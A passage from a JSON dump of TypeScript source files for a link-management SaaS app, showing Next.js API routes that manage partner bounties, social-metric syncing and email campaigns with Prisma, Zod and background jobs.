}),\n        ...(partnerId && {\n          partnerId,\n        }),\n      },\n      include: {\n        user: true,\n        commission: true,\n        partner: true,\n        programEnrollment: true,\n      },\n      orderBy: {\n        [sortBy]: sortOrder,\n      },\n      skip: (page - 1) * pageSize,\n      take: pageSize,\n    });\n\n    const bountySubmissions = submissions.map(\n      ({ partner, programEnrollment, commission, user, ...submissionData }) =>\n        BountySubmissionExtendedSchema.parse({\n          ...submissionData,\n          partner: {\n            ...partner,\n            ...(programEnrollment || {}),\n            id: partner.id,\n            status: programEnrollment?.status ?? null,\n          },\n          commission,\n          user,\n        }),\n    );\n\n    return NextResponse.json(bountySubmissions);\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/bounties/[bountyId]/sync-social-metrics/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { getBountyOrThrow } from \"@/lib/bounty/api/get-bounty-or-throw\";\nimport { getSocialMetricsUpdates } from \"@/lib/bounty/api/get-social-metrics-updates\";\nimport { resolveBountyDetails } from \"@/lib/bounty/utils\";\nimport { qstash } from \"@/lib/cron\";\nimport { sendEmail } from \"@dub/email\";\nimport BountyCompleted from \"@dub/email/templates/bounty-completed\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\nconst inputSchema = z.object({\n  submissionId: z\n    .string()\n    .optional()\n    .describe(\n      \"The ID of the submission to sync social metrics for. If not provided, all submissions will be synced.\",\n    ),\n});\n\n// POST /api/bounties/[bountyId]/sync-social-metrics - sync social metrics for a bounty\nexport const POST = withWorkspace(\n  async ({ workspace, params, req }) => {\n    const { bountyId } = params;\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const { submissionId } = inputSchema.parse(await parseRequestBody(req));\n\n    const bounty = await getBountyOrThrow({\n      bountyId,\n      programId,\n      include: submissionId\n        ? {\n            program: {\n              select: {\n                name: true,\n                slug: true,\n                supportEmail: true,\n              },\n            },\n            submissions: {\n              where: {\n                id: submissionId,\n              },\n              select: {\n                id: true,\n                urls: true,\n                status: true,\n                partner: true,\n              },\n            },\n          }\n        : undefined,\n    });\n\n    const bountyInfo = resolveBountyDetails(bounty);\n\n    if (!bountyInfo?.socialMetrics) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"This bounty does not have social metrics requirements.\",\n      });\n    }\n\n    const submission = submissionId ? bounty.submissions?.[0] : undefined;\n\n    if (submissionId) {\n      if (!submission) {\n        throw new DubApiError({\n          code: \"not_found\",\n          message: `Submission ${submissionId} not found.`,\n        });\n      }\n\n      if (submission.status === \"approved\") {\n        throw new DubApiError({\n          code: \"bad_request\",\n          message: \"Social metrics can't be synced for an approved submission.\",\n        });\n      }\n    }\n\n    const now = new Date();\n\n    if (bounty.startsAt && bounty.startsAt > now) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"Social metrics can only be synced after the bounty starts.\",\n      });\n    }\n\n    if (bounty.endsAt && bounty.endsAt < now) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"Social metrics can't be synced after the bounty ends.\",\n      });\n    }\n\n    // Do the sync in a background job if no submissionId is provided\n    if (!submissionId) {\n      const response = await qstash.publishJSON({\n        url: `${APP_DOMAIN_WITH_NGROK}/api/cron/bounties/sync-social-metrics`,\n        method: \"POST\",\n        body: {\n          bountyId,\n        },\n      });\n\n      if (!response.messageId) {\n        throw new DubApiError({\n          code: \"bad_request\",\n          message: \"Could not sync social metrics for this bounty now.\",\n        });\n      }\n\n      return NextResponse.json({});\n    }\n\n    // Otherwise, do the sync for the specific submission\n    const toUpdate = await getSocialMetricsUpdates({\n      bounty,\n      submissions: bounty.submissions![0],\n    });\n\n    if (toUpdate.length > 0) {\n      const update = toUpdate.find((s) => s.id === submissionId);\n\n      if (!update) {\n        return NextResponse.json({});\n      }\n\n      const { socialMetricCount, socialMetricsLastSyncedAt } = update;\n      const submission = bounty.submissions![0];\n\n      const updateData: Prisma.BountySubmissionUpdateInput = {\n        socialMetricCount,\n        socialMetricsLastSyncedAt,\n      };\n\n      const hasMetCriteria =\n        socialMetricCount != null &&\n        bountyInfo.socialMetrics?.minCount != null &&\n        socialMetricCount >= bountyInfo.socialMetrics.minCount;\n\n      const shouldTransitionToSubmitted =\n        submission.status === \"draft\" && hasMetCriteria;\n\n      if (shouldTransitionToSubmitted) {\n        updateData.status = \"submitted\";\n        updateData.completedAt = new Date();\n      }\n\n      await prisma.bountySubmission.update({\n        where: {\n          id: submissionId,\n        },\n        data: {\n          ...updateData,\n        },\n      });\n\n      const { partner } = submission;\n\n      if (shouldTransitionToSubmitted && partner.email) {\n        await sendEmail({\n          subject: \"Bounty completed!\",\n          to: partner.email,\n          variant: \"notifications\",\n          replyTo: bounty.program.supportEmail || \"noreply\",\n          react: BountyCompleted({\n            email: partner.email,\n            bounty: {\n              name: bounty.name,\n              type: bounty.type,\n            },\n            program: {\n              name: bounty.program.name,\n              slug: bounty.program.slug,\n            },\n          }),\n          headers: {\n            \"Idempotency-Key\": `bounty-completed-${submissionId}`,\n          },\n        });\n      }\n    }\n\n    return NextResponse.json({});\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/bounties/count/submissions/route.ts",
    "content": "import { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { prisma } from \"@dub/prisma\";\nimport { BountySubmissionStatus } from \"@dub/prisma/client\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\nconst bountiesSubmissionsCountQuerySchema = z.object({\n  bountyId: z.string().optional(),\n  groupId: z.string().optional(),\n  partnerId: z.string().optional(),\n});\n\nconst statuses = Object.values(BountySubmissionStatus);\n\n// GET /api/bounties/count/submissions – get the total bounty submissions count by status (potentially filtered by bountyId)\nexport const GET = withWorkspace(\n  async ({ workspace, searchParams }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n    const { bountyId, groupId, partnerId } =\n      bountiesSubmissionsCountQuerySchema.parse(searchParams);\n\n    const count = await prisma.bountySubmission.groupBy({\n      by: [\"status\"],\n      where: {\n        programId,\n        bountyId,\n        ...(groupId && {\n          programEnrollment: {\n            groupId,\n          },\n        }),\n        ...(partnerId && {\n          partnerId,\n        }),\n      },\n      _count: true,\n    });\n\n    const counts = count.map((c) => ({\n      status: c.status,\n      count: c._count,\n    }));\n\n    statuses.forEach((status) => {\n      if (!counts.some((c) => c.status === status)) {\n        counts.push({\n          status,\n          count: 0,\n        });\n      }\n    });\n\n    return NextResponse.json(counts);\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/bounties/route.ts",
    "content": "import { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { createId } from \"@/lib/api/create-id\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { throwIfInvalidGroupIds } from \"@/lib/api/groups/throw-if-invalid-group-ids\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { generatePerformanceBountyName } from \"@/lib/bounty/api/generate-performance-bounty-name\";\nimport { validateBounty } from \"@/lib/bounty/api/validate-bounty\";\nimport { qstash } from \"@/lib/cron\";\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport { WorkflowAction } from \"@/lib/types\";\nimport { sendWorkspaceWebhook } from \"@/lib/webhook/publish\";\nimport {\n  BountyListSchema,\n  BountySchema,\n  createBountySchema,\n  getBountiesQuerySchema,\n} from \"@/lib/zod/schemas/bounties\";\nimport {\n  WORKFLOW_ACTION_TYPES,\n  WORKFLOW_ATTRIBUTE_TRIGGER,\n} from \"@/lib/zod/schemas/workflows\";\nimport { prisma } from \"@dub/prisma\";\nimport { Workflow } from \"@dub/prisma/client\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/bounties - get all bounties for a program\nexport const GET = withWorkspace(\n  async ({ workspace, searchParams }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const { partnerId, includeSubmissionsCount } =\n      getBountiesQuerySchema.parse(searchParams);\n\n    const programEnrollment = partnerId\n      ? await getProgramEnrollmentOrThrow({\n          partnerId,\n          programId,\n          include: {\n            program: true,\n          },\n        })\n      : null;\n\n    const [bounties, allBountiesSubmissionsCount] = await Promise.all([\n      prisma.bounty.findMany({\n        where: {\n          programId,\n          // Filter only bounties the specified partner is eligible for\n          ...(programEnrollment && {\n            AND: [\n              // Filter out expired bounties\n              {\n                OR: [{ endsAt: null }, { endsAt: { gt: new Date() } }],\n              },\n              // Filter by partner's group eligibility\n              {\n                OR: [\n                  {\n                    groups: {\n                      none: {},\n                    },\n                  },\n                  {\n                    groups: {\n                      some: {\n                        groupId:\n                          programEnrollment.groupId ||\n                          programEnrollment.program.defaultGroupId,\n                      },\n                    },\n                  },\n                ],\n              },\n            ],\n          }),\n        },\n        include: {\n          groups: {\n            select: {\n              groupId: true,\n            },\n          },\n        },\n      }),\n      includeSubmissionsCount\n        ? prisma.bountySubmission.groupBy({\n            by: [\"bountyId\", \"status\"],\n            where: {\n              programId,\n              status: {\n                in: [\"submitted\", \"approved\"],\n              },\n            },\n            _count: {\n              status: true,\n            },\n          })\n        : null,\n    ]);\n\n    const aggregateSubmissionsCountForBounty = (bountyId: string) => {\n      if (!allBountiesSubmissionsCount) {\n        return null;\n      }\n      const bountySubmissions = allBountiesSubmissionsCount.filter(\n        (s) => s.bountyId === bountyId,\n      );\n      const total = bountySubmissions.reduce(\n        (sum, s) => sum + s._count.status,\n        0,\n      );\n      const submitted =\n        bountySubmissions.find((s) => s.status === \"submitted\")?._count\n          .status ?? 0;\n      const approved =\n        bountySubmissions.find((s) => s.status === \"approved\")?._count.status ??\n        0;\n      return {\n        total,\n        submitted,\n        approved,\n      };\n    };\n\n    const data = bounties.map((bounty) => {\n      return BountyListSchema.parse({\n        ...bounty,\n        groups: bounty.groups.map(({ groupId }) => ({ id: groupId })),\n        ...(allBountiesSubmissionsCount && {\n          submissionsCountData: aggregateSubmissionsCountForBounty(bounty.id),\n        }),\n      });\n    });\n\n    return NextResponse.json(data);\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n\n// POST /api/bounties - create a bounty\nexport const POST = withWorkspace(\n  async ({ workspace, req, session }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const parsedBody = createBountySchema.parse(await parseRequestBody(req));\n\n    let {\n      name,\n      description,\n      type,\n      rewardAmount,\n      rewardDescription,\n      startsAt,\n      endsAt,\n      submissionsOpenAt,\n      submissionFrequency,\n      maxSubmissions,\n      submissionRequirements,\n      groupIds,\n      performanceCondition,\n      performanceScope,\n      sendNotificationEmails,\n    } = parsedBody;\n\n    // Use current date as default if startsAt is not provided\n    startsAt = startsAt || new Date();\n\n    validateBounty(parsedBody);\n\n    const { canUseBountySocialMetrics, canSendEmailCampaigns } =\n      getPlanCapabilities(workspace.plan);\n\n    if (submissionRequirements?.socialMetrics && !canUseBountySocialMetrics) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message: \"Social metrics criteria require Advanced plan or above.\",\n      });\n    }\n\n    const partnerGroups = await throwIfInvalidGroupIds({\n      programId,\n      groupIds,\n    });\n\n    // Bounty name\n    let bountyName = name;\n\n    if (type === \"performance\" && performanceCondition) {\n      bountyName = generatePerformanceBountyName({\n        rewardAmount: rewardAmount ?? 0, // this shouldn't happen since we return early if rewardAmount is null\n        condition: performanceCondition,\n      });\n    }\n\n    if (!bountyName) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"Bounty name is required.\",\n      });\n    }\n\n    const bounty = await prisma.$transaction(async (tx) => {\n      let workflow: Workflow | null = null;\n      const bountyId = createId({ prefix: \"bnty_\" });\n\n      // Create a workflow if there is a performance condition\n      if (performanceCondition && type === \"performance\") {\n        const action: WorkflowAction = {\n          type: WORKFLOW_ACTION_TYPES.AwardBounty,\n          data: {\n            bountyId,\n          },\n        };\n\n        workflow = await tx.workflow.create({\n          data: {\n            id: createId({ prefix: \"wf_\" }),\n            programId,\n            trigger: WORKFLOW_ATTRIBUTE_TRIGGER[performanceCondition.attribute],\n            triggerConditions: [performanceCondition],\n            actions: [action],\n          },\n        });\n      }\n\n      // Create a bounty\n      return await tx.bounty.create({\n        data: {\n          id: bountyId,\n          programId,\n          workflowId: workflow?.id,\n          name: bountyName,\n          description,\n          type,\n          startsAt,\n          endsAt,\n          submissionsOpenAt: type === \"submission\" ? submissionsOpenAt : null,\n          submissionFrequency:\n            type === \"submission\" ? submissionFrequency : null,\n          maxSubmissions: type === \"submission\" ? maxSubmissions ?? 1 : 1,\n          rewardAmount,\n          rewardDescription,\n          performanceScope: type === \"performance\" ? performanceScope : null,\n          ...(submissionRequirements &&\n            type === \"submission\" && {\n              submissionRequirements,\n            }),\n          ...(partnerGroups.length && {\n            groups: {\n              createMany: {\n                data: partnerGroups.map(({ id }) => ({\n                  groupId: id,\n                })),\n              },\n            },\n          }),\n        },\n        include: {\n          workflow: true,\n          groups: true,\n        },\n      });\n    });\n\n    const createdBounty = BountySchema.parse({\n      ...bounty,\n      groups: bounty.groups.map(({ groupId }) => ({ id: groupId })),\n      performanceCondition: bounty.workflow?.triggerConditions?.[0],\n    });\n\n    const shouldScheduleDraftSubmissions =\n      bounty.type === \"performance\" && bounty.performanceScope === \"lifetime\";\n\n    waitUntil(\n      Promise.allSettled([\n        recordAuditLog({\n          workspaceId: workspace.id,\n          programId,\n          action: \"bounty.created\",\n          description: `Bounty ${bounty.id} created`,\n          actor: session?.user,\n          targets: [\n            {\n              type: \"bounty\",\n              id: bounty.id,\n              metadata: createdBounty,\n            },\n          ],\n        }),\n\n        sendWorkspaceWebhook({\n          workspace,\n          trigger: \"bounty.created\",\n          data: createdBounty,\n        }),\n\n        sendNotificationEmails &&\n          canSendEmailCampaigns &&\n          qstash.publishJSON({\n            url: `${APP_DOMAIN_WITH_NGROK}/api/cron/bounties/notify-partners`,\n            body: {\n              bountyId: bounty.id,\n            },\n            notBefore: Math.floor(bounty.startsAt.getTime() / 1000),\n          }),\n\n        shouldScheduleDraftSubmissions &&\n          qstash.publishJSON({\n            url: `${APP_DOMAIN_WITH_NGROK}/api/cron/bounties/create-draft-submissions`,\n            body: {\n              bountyId: bounty.id,\n            },\n            notBefore: Math.floor(bounty.startsAt.getTime() / 1000),\n          }),\n      ]),\n    );\n\n    return NextResponse.json(createdBounty);\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n    requiredRoles: [\"owner\", \"member\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/campaigns/[campaignId]/duplicate/route.ts",
    "content": "import { DEFAULT_CAMPAIGN_BODY } from \"@/lib/api/campaigns/constants\";\nimport { getCampaignOrThrow } from \"@/lib/api/campaigns/get-campaign-or-throw\";\nimport { createId } from \"@/lib/api/create-id\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { parseWorkflowConfig } from \"@/lib/api/workflows/parse-workflow-config\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { prisma } from \"@dub/prisma\";\nimport { CampaignStatus } from \"@dub/prisma/client\";\nimport { NextResponse } from \"next/server\";\n\n// POST /api/campaigns/[campaignId]/duplicate - duplicate an existing campaign\nexport const POST = withWorkspace(\n  async ({ workspace, session, params }) => {\n    const { campaignId } = params;\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const campaign = await getCampaignOrThrow({\n      programId,\n      campaignId,\n      includeWorkflow: true,\n      includeGroups: true,\n    });\n\n    const duplicatedCampaign = await prisma.$transaction(async (tx) => {\n      let workflowId: string | null = null;\n      const campaignId = createId({ prefix: \"cmp_\" });\n\n      if (campaign.workflow) {\n        const { action, condition } = parseWorkflowConfig(campaign.workflow);\n\n        const newWorkflow = await tx.workflow.create({\n          data: {\n            id: createId({ prefix: \"wf_\" }),\n            programId,\n            name: campaign.name,\n            trigger: campaign.workflow.trigger,\n            triggerConditions: [condition],\n            actions: [\n              {\n                ...action,\n                data: {\n                  ...action.data,\n                  campaignId,\n                },\n              },\n            ],\n            disabledAt: new Date(),\n          },\n        });\n\n        workflowId = newWorkflow.id;\n      }\n\n      return await tx.campaign.create({\n        data: {\n          id: campaignId,\n          programId,\n          workflowId,\n          userId: session.user.id,\n          status: CampaignStatus.draft,\n          from: campaign.from,\n          name: `${campaign.name} (copy)`,\n          subject: campaign.subject,\n          bodyJson: campaign.bodyJson ?? DEFAULT_CAMPAIGN_BODY,\n          type: campaign.type,\n          groups: {\n            createMany: {\n              data: campaign.groups.map(({ groupId }) => ({\n                groupId,\n              })),\n            },\n          },\n        },\n      });\n    });\n\n    return NextResponse.json({ id: duplicatedCampaign.id });\n  },\n  {\n    requiredPlan: [\"advanced\", \"enterprise\"],\n    requiredRoles: [\"owner\", \"member\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/campaigns/[campaignId]/events/count/route.ts",
    "content": "import { getCampaignOrThrow } from \"@/lib/api/campaigns/get-campaign-or-throw\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { getCampaignEventsCountQuerySchema } from \"@/lib/zod/schemas/campaigns\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/campaigns/[campaignId]/events/count\nexport const GET = withWorkspace(\n  async ({ workspace, params, searchParams }) => {\n    const { campaignId } = params;\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    await getCampaignOrThrow({\n      programId,\n      campaignId,\n    });\n\n    const { status, search } =\n      getCampaignEventsCountQuerySchema.parse(searchParams);\n\n    const count = await prisma.notificationEmail.count({\n      where: {\n        campaignId,\n        ...(status === \"delivered\" && { deliveredAt: { not: null } }),\n        ...(status === \"opened\" && { openedAt: { not: null } }),\n        ...(status === \"bounced\" && { bouncedAt: { not: null } }),\n        ...(search && {\n          OR: [\n            { partner: { name: { contains: search } } },\n            { partner: { email: { contains: search } } },\n          ],\n        }),\n      },\n    });\n\n    return NextResponse.json(count);\n  },\n  {\n    requiredPlan: [\"advanced\", \"enterprise\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/campaigns/[campaignId]/events/route.ts",
    "content": "import { getCampaignEvents } from \"@/lib/api/campaigns/get-campaign-events\";\nimport { getCampaignOrThrow } from \"@/lib/api/campaigns/get-campaign-or-throw\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { getCampaignsEventsQuerySchema } from \"@/lib/zod/schemas/campaigns\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/campaigns/[campaignId]/events\nexport const GET = withWorkspace(\n  async ({ workspace, params, searchParams }) => {\n    const { campaignId } = params;\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    await getCampaignOrThrow({\n      programId,\n      campaignId,\n    });\n\n    const events = await getCampaignEvents({\n      ...getCampaignsEventsQuerySchema.parse(searchParams),\n      campaignId,\n    });\n\n    return NextResponse.json(events);\n  },\n  {\n    requiredPlan: [\"advanced\", \"enterprise\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/campaigns/[campaignId]/preview/route.ts",
    "content": "import { getCampaignOrThrow } from \"@/lib/api/campaigns/get-campaign-or-throw\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { getProgramOrThrow } from \"@/lib/api/programs/get-program-or-throw\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { renderCampaignEmailHTML } from \"@/lib/api/workflows/render-campaign-email-html\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { TiptapNode } from \"@/lib/types\";\nimport { CampaignSchema } from \"@/lib/zod/schemas/campaigns\";\nimport { sendBatchEmail } from \"@dub/email\";\nimport CampaignEmail from \"@dub/email/templates/campaign-email\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\nconst sendPreviewEmailSchema = CampaignSchema.pick({\n  subject: true,\n  preview: true,\n  bodyJson: true,\n}).extend({\n  from: z.email().optional(),\n  emailAddresses: z\n    .array(z.email())\n    .min(1)\n    .max(10, \"Maximum 10 email addresses allowed.\"),\n});\n\n// POST /api/campaigns/[campaignId]/preview - send preview email for a campaign\nexport const POST = withWorkspace(\n  async ({ workspace, params, req }) => {\n    const { campaignId } = params;\n\n    const { subject, preview, from, bodyJson, emailAddresses } =\n      sendPreviewEmailSchema.parse(await parseRequestBody(req));\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const [program, campaign] = await Promise.all([\n      getProgramOrThrow({\n        programId,\n        workspaceId: workspace.id,\n        include: {\n          emailDomains: {\n            where: {\n              status: \"verified\",\n            },\n          },\n        },\n      }),\n\n      getCampaignOrThrow({\n        programId,\n        campaignId,\n      }),\n    ]);\n\n    // check if from email is a valid email domain\n    if (\n      from &&\n      !program.emailDomains.some(\n        ({ slug: emailDomain }) => from.split(\"@\")[1] === emailDomain,\n      )\n    ) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"Invalid `from` email address.\",\n      });\n    }\n\n    const { data, error } = await sendBatchEmail(\n      emailAddresses.map((email) => ({\n        variant: campaign.type === \"marketing\" ? \"marketing\" : \"notifications\",\n        to: email,\n        ...(from && { from: `${program.name} <${from}>` }),\n        ...(program.supportEmail ? { replyTo: program.supportEmail } : {}),\n        subject: `[TEST] ${subject}`,\n        react: CampaignEmail({\n          program: {\n            name: program.name,\n            slug: program.slug,\n            logo: program.logo,\n            messagingEnabledAt: program.messagingEnabledAt,\n          },\n          campaign: {\n            type: campaign.type,\n            preview,\n            body: renderCampaignEmailHTML({\n              content: bodyJson as unknown as TiptapNode,\n              variables: {\n                PartnerName: \"Partner\",\n                PartnerEmail: \"partner@acme.com\",\n                PartnerLink: \"https://acme.com/partner\",\n              },\n            }),\n          },\n        }),\n      })),\n    );\n    console.log(\"Resend response:\", data);\n\n    if (error) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: error.message,\n      });\n    }\n\n    return NextResponse.json({ success: true });\n  },\n  {\n    requiredPlan: [\"advanced\", \"enterprise\"],\n    requiredRoles: [\"owner\", \"member\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/campaigns/[campaignId]/route.ts",
    "content": "import { getCampaignOrThrow } from \"@/lib/api/campaigns/get-campaign-or-throw\";\nimport {\n  scheduleMarketingCampaign,\n  scheduleTransactionalCampaign,\n} from \"@/lib/api/campaigns/schedule-campaigns\";\nimport { validateCampaign } from \"@/lib/api/campaigns/validate-campaign\";\nimport { throwIfInvalidGroupIds } from \"@/lib/api/groups/throw-if-invalid-group-ids\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { parseWorkflowConfig } from \"@/lib/api/workflows/parse-workflow-config\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { qstash } from \"@/lib/cron\";\nimport {\n  CampaignSchema,\n  updateCampaignSchema,\n} from \"@/lib/zod/schemas/campaigns\";\nimport { WORKFLOW_ATTRIBUTE_TRIGGER } from \"@/lib/zod/schemas/workflows\";\nimport { prisma } from \"@dub/prisma\";\nimport { PartnerGroup } from \"@dub/prisma/client\";\nimport { arrayEqual } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/campaigns/[campaignId] - get an email campaign\nexport const GET = withWorkspace(\n  async ({ workspace, params }) => {\n    const { campaignId } = params;\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const campaign = await getCampaignOrThrow({\n      programId,\n      campaignId,\n      includeWorkflow: true,\n      includeGroups: true,\n    });\n\n    const parsedCampaign = CampaignSchema.parse({\n      ...campaign,\n      groups: campaign.groups.map(({ groupId }) => ({ id: groupId })),\n      triggerCondition: campaign.workflow?.triggerConditions?.[0],\n    });\n\n    return NextResponse.json(parsedCampaign);\n  },\n  {\n    requiredPlan: [\"advanced\", \"enterprise\"],\n    requiredRoles: [\"owner\", \"member\"],\n  },\n);\n\n// PATCH /api/campaigns/[campaignId] - update an email campaign\nexport const PATCH = withWorkspace(\n  async ({ workspace, params, req }) => {\n    const { campaignId } = params;\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const campaign = await getCampaignOrThrow({\n      programId,\n      campaignId,\n      includeWorkflow: true,\n      includeGroups: true,\n    });\n\n    const {\n      name,\n      subject,\n      preview,\n      from,\n      status,\n      bodyJson,\n      groupIds,\n      triggerCondition,\n      scheduledAt,\n    } = await validateCampaign({\n      input: updateCampaignSchema.parse(await parseRequestBody(req)),\n      campaign,\n    });\n\n    // if groupIds is provided and is different from the current groupIds, update the groups\n    let updatedPartnerGroups: PartnerGroup[] | undefined = undefined;\n    let shouldUpdateGroups = false;\n\n    if (groupIds !== undefined) {\n      const currentGroupIds = campaign.groups.map(({ groupId }) => groupId);\n      const newGroupIds = groupIds || []; // treat null as empty array (all groups)\n\n      if (!arrayEqual(currentGroupIds, newGroupIds)) {\n        if (newGroupIds.length > 0) {\n          updatedPartnerGroups = await throwIfInvalidGroupIds({\n            programId,\n            groupIds: newGroupIds,\n          });\n        }\n\n        shouldUpdateGroups = true;\n      }\n    }\n\n    const updatedCampaign = await prisma.$transaction(async (tx) => {\n      if (campaign.workflowId) {\n        await tx.workflow.update({\n          where: {\n            id: campaign.workflowId,\n          },\n          data: {\n            ...(triggerCondition && {\n              triggerConditions: [triggerCondition],\n              trigger: WORKFLOW_ATTRIBUTE_TRIGGER[triggerCondition.attribute],\n            }),\n            ...(status && {\n              disabledAt: status === \"paused\" ? new Date() : null,\n            }),\n          },\n        });\n      }\n\n      return await tx.campaign.update({\n        where: {\n          id: campaignId,\n          programId,\n        },\n        data: {\n          ...(name && { name }),\n          ...(subject && { subject }),\n          ...(preview !== undefined && { preview }),\n          ...(from && { from }),\n          ...(status && { status }),\n          ...(bodyJson && { bodyJson }),\n          ...(scheduledAt !== undefined && { scheduledAt }),\n          ...(shouldUpdateGroups && {\n            groups: {\n              deleteMany: {},\n              ...(updatedPartnerGroups &&\n                updatedPartnerGroups.length > 0 && {\n                  create: updatedPartnerGroups.map((group) => ({\n                    groupId: group.id,\n                  })),\n                }),\n            },\n          }),\n        },\n        include: {\n          groups: true,\n          workflow: true,\n        },\n      });\n    });\n\n    waitUntil(\n      (async () => {\n        if (updatedCampaign.type === \"marketing\") {\n          await scheduleMarketingCampaign({\n            campaign,\n            updatedCampaign,\n          });\n        } else if (updatedCampaign.type === \"transactional\") {\n          await scheduleTransactionalCampaign({\n            campaign,\n            updatedCampaign,\n          });\n        }\n      })(),\n    );\n\n    const response = CampaignSchema.parse({\n      ...updatedCampaign,\n      groups: updatedCampaign.groups.map(({ groupId }) => ({ id: groupId })),\n      triggerCondition: updatedCampaign.workflow?.triggerConditions?.[0],\n    });\n\n    return NextResponse.json(response);\n  },\n  {\n    requiredPlan: [\"advanced\", \"enterprise\"],\n    requiredRoles: [\"owner\", \"member\"],\n  },\n);\n\n// DELETE /api/campaigns/[campaignId] - delete a campaign\nexport const DELETE = withWorkspace(\n  async ({ workspace, params }) => {\n    const { campaignId } = params;\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const campaign = await getCampaignOrThrow({\n      programId,\n      campaignId,\n      includeWorkflow: true,\n    });\n\n    await prisma.$transaction(async (tx) => {\n      await tx.campaign.delete({\n        where: {\n          id: campaignId,\n        },\n      });\n\n      if (campaign.workflowId) {\n        await tx.workflow.delete({\n          where: {\n            id: campaign.workflowId,\n          },\n        });\n      }\n    });\n\n    waitUntil(\n      (async () => {\n        if (campaign.type === \"marketing\" && campaign.qstashMessageId) {\n          await qstash.messages.delete(campaign.qstashMessageId);\n        } else if (campaign.type === \"transactional\" && campaign.workflow) {\n          const { condition } = parseWorkflowConfig(campaign.workflow);\n\n          if (condition.attribute === \"partnerJoined\") {\n            return;\n          }\n\n          await qstash.schedules.delete(campaign.workflow.id);\n        }\n      })(),\n    );\n\n    return NextResponse.json({ id: campaignId });\n  },\n  {\n    requiredPlan: [\"advanced\", \"enterprise\"],\n    requiredRoles: [\"owner\", 